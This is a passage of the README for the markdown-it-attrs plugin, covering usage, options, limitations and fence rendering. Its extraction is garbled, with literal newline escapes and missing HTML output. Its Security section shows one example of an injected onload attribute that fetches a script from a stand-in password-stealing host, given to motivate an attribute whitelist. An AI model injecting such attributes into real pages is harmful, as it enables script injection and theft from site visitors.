paragraph
\n```\n\nWorks with inline elements too:\n```md\nparagraph *style me*{.red} more text\n```\n\nOutput:\n```html\nparagraph style me more text
\n```\n\nAnd fenced code blocks:\n\n```python {data=asdf}\nnums = [x for x in range(10)]\n```\nnums = [x for x in range(10)]\nUse the css-module green on this paragraph.
\n```\n\nAlso works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then):\n\n```md\nparagraph with [a style me span]{.red}\n```\n\nOutput:\n```html\nparagraph with a style me span
\n```\n\n## Install\n\n```\n$ npm install --save markdown-it-attrs\n```\n\n## Support\nLibrary is considered done from my part. I'm maintaining it with bug fixes and\nsecurity updates.\n\nI'll approve pull requests that are easy to understand. Generally not willing\nmerge pull requests that increase maintainance complexity. Feel free to open\nanyhow and I'll give my feedback.\n\nIf you need some extra features, I'm available for hire.\n\n## Usage\n\n```js\nvar md = require('markdown-it')();\nvar markdownItAttrs = require('markdown-it-attrs');\n\nmd.use(markdownItAttrs, {\n // optional, these are default options\n leftDelimiter: '{',\n rightDelimiter: '}',\n allowedAttributes: [] // empty array = all attributes are allowed\n});\n\nvar src = '# header {.green #id}\\nsome text {with=attrs and=\"attrs with space\"}';\nvar res = md.render(src);\n\nconsole.log(res);\n```\n\n[demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/)\n\n\n## Security\nA user may insert rogue attributes like this:\n```js\n{onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}\n```\n\nIf security is a concern, use an attribute whitelist:\n\n```js\nmd.use(markdownItAttrs, {\n allowedAttributes: ['id', 'class', /^regex.*$/]\n});\n```\n\nNow only `id`, `class` and attributes beginning with `regex` are allowed:\n\n```md\ntext {#red .green regex=allowed onclick=alert('hello')}\n```\n\nOutput:\n```html\ntext
\n```\n\n## Error handling\n\nBy default, if a pattern transform throws an error, the error is logged with `console.error`\nand rendering continues with a best-effort result. Pass `errorHandler` to change this behavior:\n\n```js\nmd.use(markdownItAttrs, {\n errorHandler: (error, patternName) => {\n throw error;\n }\n});\n```\n\nIf it throws the error like above, the error propagates out of `md.render()` / `md.renderInline()`,\notherwise rendering continues as normal.\n\n## Limitations\nmarkdown-it-attrs relies on markdown parsing in markdown-it, which means some\nspecial cases are not possible to fix. Like using `_` outside and inside\nattributes:\n\n```md\n_i want [all of this](/link){target=\"_blank\"} to be italics_\n```\n\nAbove example will render to:\n```html\n_i want all of this{target="blank"} to be italics
\n```\n\n...which is probably not what you wanted. Of course, you could use `*` for\nitalics to solve this parsing issue:\n\n```md\n*i want [all of this](/link){target=\"_blank\"} to be italics*\n```\n\nOutput:\n```html\ni want all of this to be italics
\n```\n\n## Ambiguity\nWhen class can be applied to both inline or block element, inline element will take precedence:\n```md\n- list item **bold**{.red}\n```\n\nOutput:\n```html\n| header1 | \nheader2 | \n
|---|---|
| column1 | \ncolumn2 | \n
| A | \nB | \nC | \nD | \n
|---|---|---|---|
| 1 | \n11 | \n111 | \n1111 | \n
| 2 | \n22 | \n||
| 3 | \n
`.\n\nIf you prefer markdown-it's default behavior (attributes on ``), opt out:\n\n```js\nconst md = require('markdown-it')();\nconst markdownItAttrs = require('markdown-it-attrs');\n\nmd.use(markdownItAttrs, {\n fenceAttrsOnPre: false\n});\n```\n\nIf you need fully custom output, define your own `fence` renderer. The plugin\nwill not override an existing custom `fence` renderer.\n\n```js\nconst md = require('markdown-it')();\nconst markdownItAttrs = require('markdown-it-attrs');\n\nmd.renderer.rules.fence = function (tokens, idx, options, env, slf) {\n const token = tokens[idx];\n const info = token.info ? token.info.trim() : '';\n const langName = info ? info.split(/\\s+/g)[0] : '';\n const langClass = langName ? ' class=\"' + options.langPrefix + langName + '\"' : '';\n const content = md.utils.escapeHtml(token.content);\n\n return ''\n + content\n + ' \\n';\n};\n\nmd.use(markdownItAttrs);\n\nconst src = [\n '',\n '```js {.abcd}',\n 'var a = 1;',\n '```'\n].join('\\n');\n\nconsole.log(md.render(src));\n```\n\nOutput:\n```html\nvar a = 1;\n